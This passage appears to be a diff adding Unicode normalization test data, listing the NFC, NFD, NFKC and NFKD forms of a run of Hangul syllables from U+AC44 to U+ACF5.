+{ source: [0xAC44], NFC: [0xAC44], NFD: [0x1100, 0x1163, 0x11B3], NFKC: [0xAC44], NFKD: [0x1100, 0x1163, 0x11B3] },
+{ source: [0xAC45], NFC: [0xAC45], NFD: [0x1100, 0x1163, 0x11B4], NFKC: [0xAC45], NFKD: [0x1100, 0x1163, 0x11B4] },
+{ source: [0xAC46], NFC: [0xAC46], NFD: [0x1100, 0x1163, 0x11B5], NFKC: [0xAC46], NFKD: [0x1100, 0x1163, 0x11B5] },
+{ source: [0xAC47], NFC: [0xAC47], NFD: [0x1100, 0x1163, 0x11B6], NFKC: [0xAC47], NFKD: [0x1100, 0x1163, 0x11B6] },
+{ source: [0xAC48], NFC: [0xAC48], NFD: [0x1100, 0x1163, 0x11B7], NFKC: [0xAC48], NFKD: [0x1100, 0x1163, 0x11B7] },
+{ source: [0xAC49], NFC: [0xAC49], NFD: [0x1100, 0x1163, 0x11B8], NFKC: [0xAC49], NFKD: [0x1100, 0x1163, 0x11B8] },
+{ source: [0xAC4A], NFC: [0xAC4A], NFD: [0x1100, 0x1163, 0x11B9], NFKC: [0xAC4A], NFKD: [0x1100, 0x1163, 0x11B9] },
+{ source: [0xAC4B], NFC: [0xAC4B], NFD: [0x1100, 0x1163, 0x11BA], NFKC: [0xAC4B], NFKD: [0x1100, 0x1163, 0x11BA] },
+{ source: [0xAC4C], NFC: [0xAC4C], NFD: [0x1100, 0x1163, 0x11BB], NFKC: [0xAC4C], NFKD: [0x1100, 0x1163, 0x11BB] },
+{ source: [0xAC4D], NFC: [0xAC4D], NFD: [0x1100, 0x1163, 0x11BC], NFKC: [0xAC4D], NFKD: [0x1100, 0x1163, 0x11BC] },
+{ source: [0xAC4E], NFC: [0xAC4E], NFD: [0x1100, 0x1163, 0x11BD], NFKC: [0xAC4E], NFKD: [0x1100, 0x1163, 0x11BD] },
+{ source: [0xAC4F], NFC: [0xAC4F], NFD: [0x1100, 0x1163, 0x11BE], NFKC: [0xAC4F], NFKD: [0x1100, 0x1163, 0x11BE] },
+{ source: [0xAC50], NFC: [0xAC50], NFD: [0x1100, 0x1163, 0x11BF], NFKC: [0xAC50], NFKD: [0x1100, 0x1163, 0x11BF] },
+{ source: [0xAC51], NFC: [0xAC51], NFD: [0x1100, 0x1163, 0x11C0], NFKC: [0xAC51], NFKD: [0x1100, 0x1163, 0x11C0] },
+{ source: [0xAC52], NFC: [0xAC52], NFD: [0x1100, 0x1163, 0x11C1], NFKC: [0xAC52], NFKD: [0x1100, 0x1163, 0x11C1] },
+{ source: [0xAC53], NFC: [0xAC53], NFD: [0x1100, 0x1163, 0x11C2], NFKC: [0xAC53], NFKD: [0x1100, 0x1163, 0x11C2] },
+{ source: [0xAC54], NFC: [0xAC54], NFD: [0x1100, 0x1164], NFKC: [0xAC54], NFKD: [0x1100, 0x1164] },
+{ source: [0xAC55], NFC: [0xAC55], NFD: [0x1100, 0x1164, 0x11A8], NFKC: [0xAC55], NFKD: [0x1100, 0x1164, 0x11A8] },
+{ source: [0xAC56], NFC: [0xAC56], NFD: [0x1100, 0x1164, 0x11A9], NFKC: [0xAC56], NFKD: [0x1100, 0x1164, 0x11A9] },
+{ source: [0xAC57], NFC: [0xAC57], NFD: [0x1100, 0x1164, 0x11AA], NFKC: [0xAC57], NFKD: [0x1100, 0x1164, 0x11AA] },
+{ source: [0xAC58], NFC: [0xAC58], NFD: [0x1100, 0x1164, 0x11AB], NFKC: [0xAC58], NFKD: [0x1100, 0x1164, 0x11AB] },
+{ source: [0xAC59], NFC: [0xAC59], NFD: [0x1100, 0x1164, 0x11AC], NFKC: [0xAC59], NFKD: [0x1100, 0x1164, 0x11AC] },
+{ source: [0xAC5A], NFC: [0xAC5A], NFD: [0x1100, 0x1164, 0x11AD], NFKC: [0xAC5A], NFKD: [0x1100, 0x1164, 0x11AD] },
+{ source: [0xAC5B], NFC: [0xAC5B], NFD: [0x1100, 0x1164, 0x11AE], NFKC: [0xAC5B], NFKD: [0x1100, 0x1164, 0x11AE] },
+{ source: [0xAC5C], NFC: [0xAC5C], NFD: [0x1100, 0x1164, 0x11AF], NFKC: [0xAC5C], NFKD: [0x1100, 0x1164, 0x11AF] },
+{ source: [0xAC5D], NFC: [0xAC5D], NFD: [0x1100, 0x1164, 0x11B0], NFKC: [0xAC5D], NFKD: [0x1100, 0x1164, 0x11B0] },
+{ source: [0xAC5E], NFC: [0xAC5E], NFD: [0x1100, 0x1164, 0x11B1], NFKC: [0xAC5E], NFKD: [0x1100, 0x1164, 0x11B1] },
+{ source: [0xAC5F], NFC: [0xAC5F], NFD: [0x1100, 0x1164, 0x11B2], NFKC: [0xAC5F], NFKD: [0x1100, 0x1164, 0x11B2] },
+{ source: [0xAC60], NFC: [0xAC60], NFD: [0x1100, 0x1164, 0x11B3], NFKC: [0xAC60], NFKD: [0x1100, 0x1164, 0x11B3] },
+{ source: [0xAC61], NFC: [0xAC61], NFD: [0x1100, 0x1164, 0x11B4], NFKC: [0xAC61], NFKD: [0x1100, 0x1164, 0x11B4] },
+{ source: [0xAC62], NFC: [0xAC62], NFD: [0x1100, 0x1164, 0x11B5], NFKC: [0xAC62], NFKD: [0x1100, 0x1164, 0x11B5] },
+{ source: [0xAC63], NFC: [0xAC63], NFD: [0x1100, 0x1164, 0x11B6], NFKC: [0xAC63], NFKD: [0x1100, 0x1164, 0x11B6] },
+{ source: [0xAC64], NFC: [0xAC64], NFD: [0x1100, 0x1164, 0x11B7], NFKC: [0xAC64], NFKD: [0x1100, 0x1164, 0x11B7] },
+{ source: [0xAC65], NFC: [0xAC65], NFD: [0x1100, 0x1164, 0x11B8], NFKC: [0xAC65], NFKD: [0x1100, 0x1164, 0x11B8] },
+{ source: [0xAC66], NFC: [0xAC66], NFD: [0x1100, 0x1164, 0x11B9], NFKC: [0xAC66], NFKD: [0x1100, 0x1164, 0x11B9] },
+{ source: [0xAC67], NFC: [0xAC67], NFD: [0x1100, 0x1164, 0x11BA], NFKC: [0xAC67], NFKD: [0x1100, 0x1164, 0x11BA] },
+{ source: [0xAC68], NFC: [0xAC68], NFD: [0x1100, 0x1164, 0x11BB], NFKC: [0xAC68], NFKD: [0x1100, 0x1164, 0x11BB] },
+{ source: [0xAC69], NFC: [0xAC69], NFD: [0x1100, 0x1164, 0x11BC], NFKC: [0xAC69], NFKD: [0x1100, 0x1164, 0x11BC] },
+{ source: [0xAC6A], NFC: [0xAC6A], NFD: [0x1100, 0x1164, 0x11BD], NFKC: [0xAC6A], NFKD: [0x1100, 0x1164, 0x11BD] },
+{ source: [0xAC6B], NFC: [0xAC6B], NFD: [0x1100, 0x1164, 0x11BE], NFKC: [0xAC6B], NFKD: [0x1100, 0x1164, 0x11BE] },
+{ source: [0xAC6C], NFC: [0xAC6C], NFD: [0x1100, 0x1164, 0x11BF], NFKC: [0xAC6C], NFKD: [0x1100, 0x1164, 0x11BF] },
+{ source: [0xAC6D], NFC: [0xAC6D], NFD: [0x1100, 0x1164, 0x11C0], NFKC: [0xAC6D], NFKD: [0x1100, 0x1164, 0x11C0] },
+{ source: [0xAC6E], NFC: [0xAC6E], NFD: [0x1100, 0x1164, 0x11C1], NFKC: [0xAC6E], NFKD: [0x1100, 0x1164, 0x11C1] },
+{ source: [0xAC6F], NFC: [0xAC6F], NFD: [0x1100, 0x1164, 0x11C2], NFKC: [0xAC6F], NFKD: [0x1100, 0x1164, 0x11C2] },
+{ source: [0xAC70], NFC: [0xAC70], NFD: [0x1100, 0x1165], NFKC: [0xAC70], NFKD: [0x1100, 0x1165] },
+{ source: [0xAC71], NFC: [0xAC71], NFD: [0x1100, 0x1165, 0x11A8], NFKC: [0xAC71], NFKD: [0x1100, 0x1165, 0x11A8] },
+{ source: [0xAC72], NFC: [0xAC72], NFD: [0x1100, 0x1165, 0x11A9], NFKC: [0xAC72], NFKD: [0x1100, 0x1165, 0x11A9] },
+{ source: [0xAC73], NFC: [0xAC73], NFD: [0x1100, 0x1165, 0x11AA], NFKC: [0xAC73], NFKD: [0x1100, 0x1165, 0x11AA] },
+{ source: [0xAC74], NFC: [0xAC74], NFD: [0x1100, 0x1165, 0x11AB], NFKC: [0xAC74], NFKD: [0x1100, 0x1165, 0x11AB] },
+{ source: [0xAC75], NFC: [0xAC75], NFD: [0x1100, 0x1165, 0x11AC], NFKC: [0xAC75], NFKD: [0x1100, 0x1165, 0x11AC] },
+{ source: [0xAC76], NFC: [0xAC76], NFD: [0x1100, 0x1165, 0x11AD], NFKC: [0xAC76], NFKD: [0x1100, 0x1165, 0x11AD] },
+{ source: [0xAC77], NFC: [0xAC77], NFD: [0x1100, 0x1165, 0x11AE], NFKC: [0xAC77], NFKD: [0x1100, 0x1165, 0x11AE] },
+{ source: [0xAC78], NFC: [0xAC78], NFD: [0x1100, 0x1165, 0x11AF], NFKC: [0xAC78], NFKD: [0x1100, 0x1165, 0x11AF] },
+{ source: [0xAC79], NFC: [0xAC79], NFD: [0x1100, 0x1165, 0x11B0], NFKC: [0xAC79], NFKD: [0x1100, 0x1165, 0x11B0] },
+{ source: [0xAC7A], NFC: [0xAC7A], NFD: [0x1100, 0x1165, 0x11B1], NFKC: [0xAC7A], NFKD: [0x1100, 0x1165, 0x11B1] },
+{ source: [0xAC7B], NFC: [0xAC7B], NFD: [0x1100, 0x1165, 0x11B2], NFKC: [0xAC7B], NFKD: [0x1100, 0x1165, 0x11B2] },
+{ source: [0xAC7C], NFC: [0xAC7C], NFD: [0x1100, 0x1165, 0x11B3], NFKC: [0xAC7C], NFKD: [0x1100, 0x1165, 0x11B3] },
+{ source: [0xAC7D], NFC: [0xAC7D], NFD: [0x1100, 0x1165, 0x11B4], NFKC: [0xAC7D], NFKD: [0x1100, 0x1165, 0x11B4] },
+{ source: [0xAC7E], NFC: [0xAC7E], NFD: [0x1100, 0x1165, 0x11B5], NFKC: [0xAC7E], NFKD: [0x1100, 0x1165, 0x11B5] },
+{ source: [0xAC7F], NFC: [0xAC7F], NFD: [0x1100, 0x1165, 0x11B6], NFKC: [0xAC7F], NFKD: [0x1100, 0x1165, 0x11B6] },
+{ source: [0xAC80], NFC: [0xAC80], NFD: [0x1100, 0x1165, 0x11B7], NFKC: [0xAC80], NFKD: [0x1100, 0x1165, 0x11B7] },
+{ source: [0xAC81], NFC: [0xAC81], NFD: [0x1100, 0x1165, 0x11B8], NFKC: [0xAC81], NFKD: [0x1100, 0x1165, 0x11B8] },
+{ source: [0xAC82], NFC: [0xAC82], NFD: [0x1100, 0x1165, 0x11B9], NFKC: [0xAC82], NFKD: [0x1100, 0x1165, 0x11B9] },
+{ source: [0xAC83], NFC: [0xAC83], NFD: [0x1100, 0x1165, 0x11BA], NFKC: [0xAC83], NFKD: [0x1100, 0x1165, 0x11BA] },
+{ source: [0xAC84], NFC: [0xAC84], NFD: [0x1100, 0x1165, 0x11BB], NFKC: [0xAC84], NFKD: [0x1100, 0x1165, 0x11BB] },
+{ source: [0xAC85], NFC: [0xAC85], NFD: [0x1100, 0x1165, 0x11BC], NFKC: [0xAC85], NFKD: [0x1100, 0x1165, 0x11BC] },
+{ source: [0xAC86], NFC: [0xAC86], NFD: [0x1100, 0x1165, 0x11BD], NFKC: [0xAC86], NFKD: [0x1100, 0x1165, 0x11BD] },
+{ source: [0xAC87], NFC: [0xAC87], NFD: [0x1100, 0x1165, 0x11BE], NFKC: [0xAC87], NFKD: [0x1100, 0x1165, 0x11BE] },
+{ source: [0xAC88], NFC: [0xAC88], NFD: [0x1100, 0x1165, 0x11BF], NFKC: [0xAC88], NFKD: [0x1100, 0x1165, 0x11BF] },
+{ source: [0xAC89], NFC: [0xAC89], NFD: [0x1100, 0x1165, 0x11C0], NFKC: [0xAC89], NFKD: [0x1100, 0x1165, 0x11C0] },
+{ source: [0xAC8A], NFC: [0xAC8A], NFD: [0x1100, 0x1165, 0x11C1], NFKC: [0xAC8A], NFKD: [0x1100, 0x1165, 0x11C1] },
+{ source: [0xAC8B], NFC: [0xAC8B], NFD: [0x1100, 0x1165, 0x11C2], NFKC: [0xAC8B], NFKD: [0x1100, 0x1165, 0x11C2] },
+{ source: [0xAC8C], NFC: [0xAC8C], NFD: [0x1100, 0x1166], NFKC: [0xAC8C], NFKD: [0x1100, 0x1166] },
+{ source: [0xAC8D], NFC: [0xAC8D], NFD: [0x1100, 0x1166, 0x11A8], NFKC: [0xAC8D], NFKD: [0x1100, 0x1166, 0x11A8] },
+{ source: [0xAC8E], NFC: [0xAC8E], NFD: [0x1100, 0x1166, 0x11A9], NFKC: [0xAC8E], NFKD: [0x1100, 0x1166, 0x11A9] },
+{ source: [0xAC8F], NFC: [0xAC8F], NFD: [0x1100, 0x1166, 0x11AA], NFKC: [0xAC8F], NFKD: [0x1100, 0x1166, 0x11AA] },
+{ source: [0xAC90], NFC: [0xAC90], NFD: [0x1100, 0x1166, 0x11AB], NFKC: [0xAC90], NFKD: [0x1100, 0x1166, 0x11AB] },
+{ source: [0xAC91], NFC: [0xAC91], NFD: [0x1100, 0x1166, 0x11AC], NFKC: [0xAC91], NFKD: [0x1100, 0x1166, 0x11AC] },
+{ source: [0xAC92], NFC: [0xAC92], NFD: [0x1100, 0x1166, 0x11AD], NFKC: [0xAC92], NFKD: [0x1100, 0x1166, 0x11AD] },
+{ source: [0xAC93], NFC: [0xAC93], NFD: [0x1100, 0x1166, 0x11AE], NFKC: [0xAC93], NFKD: [0x1100, 0x1166, 0x11AE] },
+{ source: [0xAC94], NFC: [0xAC94], NFD: [0x1100, 0x1166, 0x11AF], NFKC: [0xAC94], NFKD: [0x1100, 0x1166, 0x11AF] },
+{ source: [0xAC95], NFC: [0xAC95], NFD: [0x1100, 0x1166, 0x11B0], NFKC: [0xAC95], NFKD: [0x1100, 0x1166, 0x11B0] },
+{ source: [0xAC96], NFC: [0xAC96], NFD: [0x1100, 0x1166, 0x11B1], NFKC: [0xAC96], NFKD: [0x1100, 0x1166, 0x11B1] },
+{ source: [0xAC97], NFC: [0xAC97], NFD: [0x1100, 0x1166, 0x11B2], NFKC: [0xAC97], NFKD: [0x1100, 0x1166, 0x11B2] },
+{ source: [0xAC98], NFC: [0xAC98], NFD: [0x1100, 0x1166, 0x11B3], NFKC: [0xAC98], NFKD: [0x1100, 0x1166, 0x11B3] },
+{ source: [0xAC99], NFC: [0xAC99], NFD: [0x1100, 0x1166, 0x11B4], NFKC: [0xAC99], NFKD: [0x1100, 0x1166, 0x11B4] },
+{ source: [0xAC9A], NFC: [0xAC9A], NFD: [0x1100, 0x1166, 0x11B5], NFKC: [0xAC9A], NFKD: [0x1100, 0x1166, 0x11B5] },
+{ source: [0xAC9B], NFC: [0xAC9B], NFD: [0x1100, 0x1166, 0x11B6], NFKC: [0xAC9B], NFKD: [0x1100, 0x1166, 0x11B6] },
+{ source: [0xAC9C], NFC: [0xAC9C], NFD: [0x1100, 0x1166, 0x11B7], NFKC: [0xAC9C], NFKD: [0x1100, 0x1166, 0x11B7] },
+{ source: [0xAC9D], NFC: [0xAC9D], NFD: [0x1100, 0x1166, 0x11B8], NFKC: [0xAC9D], NFKD: [0x1100, 0x1166, 0x11B8] },
+{ source: [0xAC9E], NFC: [0xAC9E], NFD: [0x1100, 0x1166, 0x11B9], NFKC: [0xAC9E], NFKD: [0x1100, 0x1166, 0x11B9] },
+{ source: [0xAC9F], NFC: [0xAC9F], NFD: [0x1100, 0x1166, 0x11BA], NFKC: [0xAC9F], NFKD: [0x1100, 0x1166, 0x11BA] },
+{ source: [0xACA0], NFC: [0xACA0], NFD: [0x1100, 0x1166, 0x11BB], NFKC: [0xACA0], NFKD: [0x1100, 0x1166, 0x11BB] },
+{ source: [0xACA1], NFC: [0xACA1], NFD: [0x1100, 0x1166, 0x11BC], NFKC: [0xACA1], NFKD: [0x1100, 0x1166, 0x11BC] },
+{ source: [0xACA2], NFC: [0xACA2], NFD: [0x1100, 0x1166, 0x11BD], NFKC: [0xACA2], NFKD: [0x1100, 0x1166, 0x11BD] },
+{ source: [0xACA3], NFC: [0xACA3], NFD: [0x1100, 0x1166, 0x11BE], NFKC: [0xACA3], NFKD: [0x1100, 0x1166, 0x11BE] },
+{ source: [0xACA4], NFC: [0xACA4], NFD: [0x1100, 0x1166, 0x11BF], NFKC: [0xACA4], NFKD: [0x1100, 0x1166, 0x11BF] },
+{ source: [0xACA5], NFC: [0xACA5], NFD: [0x1100, 0x1166, 0x11C0], NFKC: [0xACA5], NFKD: [0x1100, 0x1166, 0x11C0] },
+{ source: [0xACA6], NFC: [0xACA6], NFD: [0x1100, 0x1166, 0x11C1], NFKC: [0xACA6], NFKD: [0x1100, 0x1166, 0x11C1] },
+{ source: [0xACA7], NFC: [0xACA7], NFD: [0x1100, 0x1166, 0x11C2], NFKC: [0xACA7], NFKD: [0x1100, 0x1166, 0x11C2] },
+{ source: [0xACA8], NFC: [0xACA8], NFD: [0x1100, 0x1167], NFKC: [0xACA8], NFKD: [0x1100, 0x1167] },
+{ source: [0xACA9], NFC: [0xACA9], NFD: [0x1100, 0x1167, 0x11A8], NFKC: [0xACA9], NFKD: [0x1100, 0x1167, 0x11A8] },
+{ source: [0xACAA], NFC: [0xACAA], NFD: [0x1100, 0x1167, 0x11A9], NFKC: [0xACAA], NFKD: [0x1100, 0x1167, 0x11A9] },
+{ source: [0xACAB], NFC: [0xACAB], NFD: [0x1100, 0x1167, 0x11AA], NFKC: [0xACAB], NFKD: [0x1100, 0x1167, 0x11AA] },
+{ source: [0xACAC], NFC: [0xACAC], NFD: [0x1100, 0x1167, 0x11AB], NFKC: [0xACAC], NFKD: [0x1100, 0x1167, 0x11AB] },
+{ source: [0xACAD], NFC: [0xACAD], NFD: [0x1100, 0x1167, 0x11AC], NFKC: [0xACAD], NFKD: [0x1100, 0x1167, 0x11AC] },
+{ source: [0xACAE], NFC: [0xACAE], NFD: [0x1100, 0x1167, 0x11AD], NFKC: [0xACAE], NFKD: [0x1100, 0x1167, 0x11AD] },
+{ source: [0xACAF], NFC: [0xACAF], NFD: [0x1100, 0x1167, 0x11AE], NFKC: [0xACAF], NFKD: [0x1100, 0x1167, 0x11AE] },
+{ source: [0xACB0], NFC: [0xACB0], NFD: [0x1100, 0x1167, 0x11AF], NFKC: [0xACB0], NFKD: [0x1100, 0x1167, 0x11AF] },
+{ source: [0xACB1], NFC: [0xACB1], NFD: [0x1100, 0x1167, 0x11B0], NFKC: [0xACB1], NFKD: [0x1100, 0x1167, 0x11B0] },
+{ source: [0xACB2], NFC: [0xACB2], NFD: [0x1100, 0x1167, 0x11B1], NFKC: [0xACB2], NFKD: [0x1100, 0x1167, 0x11B1] },
+{ source: [0xACB3], NFC: [0xACB3], NFD: [0x1100, 0x1167, 0x11B2], NFKC: [0xACB3], NFKD: [0x1100, 0x1167, 0x11B2] },
+{ source: [0xACB4], NFC: [0xACB4], NFD: [0x1100, 0x1167, 0x11B3], NFKC: [0xACB4], NFKD: [0x1100, 0x1167, 0x11B3] },
+{ source: [0xACB5], NFC: [0xACB5], NFD: [0x1100, 0x1167, 0x11B4], NFKC: [0xACB5], NFKD: [0x1100, 0x1167, 0x11B4] },
+{ source: [0xACB6], NFC: [0xACB6], NFD: [0x1100, 0x1167, 0x11B5], NFKC: [0xACB6], NFKD: [0x1100, 0x1167, 0x11B5] },
+{ source: [0xACB7], NFC: [0xACB7], NFD: [0x1100, 0x1167, 0x11B6], NFKC: [0xACB7], NFKD: [0x1100, 0x1167, 0x11B6] },
+{ source: [0xACB8], NFC: [0xACB8], NFD: [0x1100, 0x1167, 0x11B7], NFKC: [0xACB8], NFKD: [0x1100, 0x1167, 0x11B7] },
+{ source: [0xACB9], NFC: [0xACB9], NFD: [0x1100, 0x1167, 0x11B8], NFKC: [0xACB9], NFKD: [0x1100, 0x1167, 0x11B8] },
+{ source: [0xACBA], NFC: [0xACBA], NFD: [0x1100, 0x1167, 0x11B9], NFKC: [0xACBA], NFKD: [0x1100, 0x1167, 0x11B9] },
+{ source: [0xACBB], NFC: [0xACBB], NFD: [0x1100, 0x1167, 0x11BA], NFKC: [0xACBB], NFKD: [0x1100, 0x1167, 0x11BA] },
+{ source: [0xACBC], NFC: [0xACBC], NFD: [0x1100, 0x1167, 0x11BB], NFKC: [0xACBC], NFKD: [0x1100, 0x1167, 0x11BB] },
+{ source: [0xACBD], NFC: [0xACBD], NFD: [0x1100, 0x1167, 0x11BC], NFKC: [0xACBD], NFKD: [0x1100, 0x1167, 0x11BC] },
+{ source: [0xACBE], NFC: [0xACBE], NFD: [0x1100, 0x1167, 0x11BD], NFKC: [0xACBE], NFKD: [0x1100, 0x1167, 0x11BD] },
+{ source: [0xACBF], NFC: [0xACBF], NFD: [0x1100, 0x1167, 0x11BE], NFKC: [0xACBF], NFKD: [0x1100, 0x1167, 0x11BE] },
+{ source: [0xACC0], NFC: [0xACC0], NFD: [0x1100, 0x1167, 0x11BF], NFKC: [0xACC0], NFKD: [0x1100, 0x1167, 0x11BF] },
+{ source: [0xACC1], NFC: [0xACC1], NFD: [0x1100, 0x1167, 0x11C0], NFKC: [0xACC1], NFKD: [0x1100, 0x1167, 0x11C0] },
+{ source: [0xACC2], NFC: [0xACC2], NFD: [0x1100, 0x1167, 0x11C1], NFKC: [0xACC2], NFKD: [0x1100, 0x1167, 0x11C1] },
+{ source: [0xACC3], NFC: [0xACC3], NFD: [0x1100, 0x1167, 0x11C2], NFKC: [0xACC3], NFKD: [0x1100, 0x1167, 0x11C2] },
+{ source: [0xACC4], NFC: [0xACC4], NFD: [0x1100, 0x1168], NFKC: [0xACC4], NFKD: [0x1100, 0x1168] },
+{ source: [0xACC5], NFC: [0xACC5], NFD: [0x1100, 0x1168, 0x11A8], NFKC: [0xACC5], NFKD: [0x1100, 0x1168, 0x11A8] },
+{ source: [0xACC6], NFC: [0xACC6], NFD: [0x1100, 0x1168, 0x11A9], NFKC: [0xACC6], NFKD: [0x1100, 0x1168, 0x11A9] },
+{ source: [0xACC7], NFC: [0xACC7], NFD: [0x1100, 0x1168, 0x11AA], NFKC: [0xACC7], NFKD: [0x1100, 0x1168, 0x11AA] },
+{ source: [0xACC8], NFC: [0xACC8], NFD: [0x1100, 0x1168, 0x11AB], NFKC: [0xACC8], NFKD: [0x1100, 0x1168, 0x11AB] },
+{ source: [0xACC9], NFC: [0xACC9], NFD: [0x1100, 0x1168, 0x11AC], NFKC: [0xACC9], NFKD: [0x1100, 0x1168, 0x11AC] },
+{ source: [0xACCA], NFC: [0xACCA], NFD: [0x1100, 0x1168, 0x11AD], NFKC: [0xACCA], NFKD: [0x1100, 0x1168, 0x11AD] },
+{ source: [0xACCB], NFC: [0xACCB], NFD: [0x1100, 0x1168, 0x11AE], NFKC: [0xACCB], NFKD: [0x1100, 0x1168, 0x11AE] },
+{ source: [0xACCC], NFC: [0xACCC], NFD: [0x1100, 0x1168, 0x11AF], NFKC: [0xACCC], NFKD: [0x1100, 0x1168, 0x11AF] },
+{ source: [0xACCD], NFC: [0xACCD], NFD: [0x1100, 0x1168, 0x11B0], NFKC: [0xACCD], NFKD: [0x1100, 0x1168, 0x11B0] },
+{ source: [0xACCE], NFC: [0xACCE], NFD: [0x1100, 0x1168, 0x11B1], NFKC: [0xACCE], NFKD: [0x1100, 0x1168, 0x11B1] },
+{ source: [0xACCF], NFC: [0xACCF], NFD: [0x1100, 0x1168, 0x11B2], NFKC: [0xACCF], NFKD: [0x1100, 0x1168, 0x11B2] },
+{ source: [0xACD0], NFC: [0xACD0], NFD: [0x1100, 0x1168, 0x11B3], NFKC: [0xACD0], NFKD: [0x1100, 0x1168, 0x11B3] },
+{ source: [0xACD1], NFC: [0xACD1], NFD: [0x1100, 0x1168, 0x11B4], NFKC: [0xACD1], NFKD: [0x1100, 0x1168, 0x11B4] },
+{ source: [0xACD2], NFC: [0xACD2], NFD: [0x1100, 0x1168, 0x11B5], NFKC: [0xACD2], NFKD: [0x1100, 0x1168, 0x11B5] },
+{ source: [0xACD3], NFC: [0xACD3], NFD: [0x1100, 0x1168, 0x11B6], NFKC: [0xACD3], NFKD: [0x1100, 0x1168, 0x11B6] },
+{ source: [0xACD4], NFC: [0xACD4], NFD: [0x1100, 0x1168, 0x11B7], NFKC: [0xACD4], NFKD: [0x1100, 0x1168, 0x11B7] },
+{ source: [0xACD5], NFC: [0xACD5], NFD: [0x1100, 0x1168, 0x11B8], NFKC: [0xACD5], NFKD: [0x1100, 0x1168, 0x11B8] },
+{ source: [0xACD6], NFC: [0xACD6], NFD: [0x1100, 0x1168, 0x11B9], NFKC: [0xACD6], NFKD: [0x1100, 0x1168, 0x11B9] },
+{ source: [0xACD7], NFC: [0xACD7], NFD: [0x1100, 0x1168, 0x11BA], NFKC: [0xACD7], NFKD: [0x1100, 0x1168, 0x11BA] },
+{ source: [0xACD8], NFC: [0xACD8], NFD: [0x1100, 0x1168, 0x11BB], NFKC: [0xACD8], NFKD: [0x1100, 0x1168, 0x11BB] },
+{ source: [0xACD9], NFC: [0xACD9], NFD: [0x1100, 0x1168, 0x11BC], NFKC: [0xACD9], NFKD: [0x1100, 0x1168, 0x11BC] },
+{ source: [0xACDA], NFC: [0xACDA], NFD: [0x1100, 0x1168, 0x11BD], NFKC: [0xACDA], NFKD: [0x1100, 0x1168, 0x11BD] },
+{ source: [0xACDB], NFC: [0xACDB], NFD: [0x1100, 0x1168, 0x11BE], NFKC: [0xACDB], NFKD: [0x1100, 0x1168, 0x11BE] },
+{ source: [0xACDC], NFC: [0xACDC], NFD: [0x1100, 0x1168, 0x11BF], NFKC: [0xACDC], NFKD: [0x1100, 0x1168, 0x11BF] },
+{ source: [0xACDD], NFC: [0xACDD], NFD: [0x1100, 0x1168, 0x11C0], NFKC: [0xACDD], NFKD: [0x1100, 0x1168, 0x11C0] },
+{ source: [0xACDE], NFC: [0xACDE], NFD: [0x1100, 0x1168, 0x11C1], NFKC: [0xACDE], NFKD: [0x1100, 0x1168, 0x11C1] },
+{ source: [0xACDF], NFC: [0xACDF], NFD: [0x1100, 0x1168, 0x11C2], NFKC: [0xACDF], NFKD: [0x1100, 0x1168, 0x11C2] },
+{ source: [0xACE0], NFC: [0xACE0], NFD: [0x1100, 0x1169], NFKC: [0xACE0], NFKD: [0x1100, 0x1169] },
+{ source: [0xACE1], NFC: [0xACE1], NFD: [0x1100, 0x1169, 0x11A8], NFKC: [0xACE1], NFKD: [0x1100, 0x1169, 0x11A8] },
+{ source: [0xACE2], NFC: [0xACE2], NFD: [0x1100, 0x1169, 0x11A9], NFKC: [0xACE2], NFKD: [0x1100, 0x1169, 0x11A9] },
+{ source: [0xACE3], NFC: [0xACE3], NFD: [0x1100, 0x1169, 0x11AA], NFKC: [0xACE3], NFKD: [0x1100, 0x1169, 0x11AA] },
+{ source: [0xACE4], NFC: [0xACE4], NFD: [0x1100, 0x1169, 0x11AB], NFKC: [0xACE4], NFKD: [0x1100, 0x1169, 0x11AB] },
+{ source: [0xACE5], NFC: [0xACE5], NFD: [0x1100, 0x1169, 0x11AC], NFKC: [0xACE5], NFKD: [0x1100, 0x1169, 0x11AC] },
+{ source: [0xACE6], NFC: [0xACE6], NFD: [0x1100, 0x1169, 0x11AD], NFKC: [0xACE6], NFKD: [0x1100, 0x1169, 0x11AD] },
+{ source: [0xACE7], NFC: [0xACE7], NFD: [0x1100, 0x1169, 0x11AE], NFKC: [0xACE7], NFKD: [0x1100, 0x1169, 0x11AE] },
+{ source: [0xACE8], NFC: [0xACE8], NFD: [0x1100, 0x1169, 0x11AF], NFKC: [0xACE8], NFKD: [0x1100, 0x1169, 0x11AF] },
+{ source: [0xACE9], NFC: [0xACE9], NFD: [0x1100, 0x1169, 0x11B0], NFKC: [0xACE9], NFKD: [0x1100, 0x1169, 0x11B0] },
+{ source: [0xACEA], NFC: [0xACEA], NFD: [0x1100, 0x1169, 0x11B1], NFKC: [0xACEA], NFKD: [0x1100, 0x1169, 0x11B1] },
+{ source: [0xACEB], NFC: [0xACEB], NFD: [0x1100, 0x1169, 0x11B2], NFKC: [0xACEB], NFKD: [0x1100, 0x1169, 0x11B2] },
+{ source: [0xACEC], NFC: [0xACEC], NFD: [0x1100, 0x1169, 0x11B3], NFKC: [0xACEC], NFKD: [0x1100, 0x1169, 0x11B3] },
+{ source: [0xACED], NFC: [0xACED], NFD: [0x1100, 0x1169, 0x11B4], NFKC: [0xACED], NFKD: [0x1100, 0x1169, 0x11B4] },
+{ source: [0xACEE], NFC: [0xACEE], NFD: [0x1100, 0x1169, 0x11B5], NFKC: [0xACEE], NFKD: [0x1100, 0x1169, 0x11B5] },
+{ source: [0xACEF], NFC: [0xACEF], NFD: [0x1100, 0x1169, 0x11B6], NFKC: [0xACEF], NFKD: [0x1100, 0x1169, 0x11B6] },
+{ source: [0xACF0], NFC: [0xACF0], NFD: [0x1100, 0x1169, 0x11B7], NFKC: [0xACF0], NFKD: [0x1100, 0x1169, 0x11B7] },
+{ source: [0xACF1], NFC: [0xACF1], NFD: [0x1100, 0x1169, 0x11B8], NFKC: [0xACF1], NFKD: [0x1100, 0x1169, 0x11B8] },
+{ source: [0xACF2], NFC: [0xACF2], NFD: [0x1100, 0x1169, 0x11B9], NFKC: [0xACF2], NFKD: [0x1100, 0x1169, 0x11B9] },
+{ source: [0xACF3], NFC: [0xACF3], NFD: [0x1100, 0x1169, 0x11BA], NFKC: [0xACF3], NFKD: [0x1100, 0x1169, 0x11BA] },
+{ source: [0xACF4], NFC: [0xACF4], NFD: [0x1100, 0x1169, 0x11BB], NFKC: [0xACF4], NFKD: [0x1100, 0x1169, 0x11BB] },
+{ source: [0xACF5], NFC: [0xACF5], NFD: [0x1100, 0x1169, 0x11BC], NFKC: [0xACF5], NFKD: [0x1100, 0x1169, 0x11BC] },
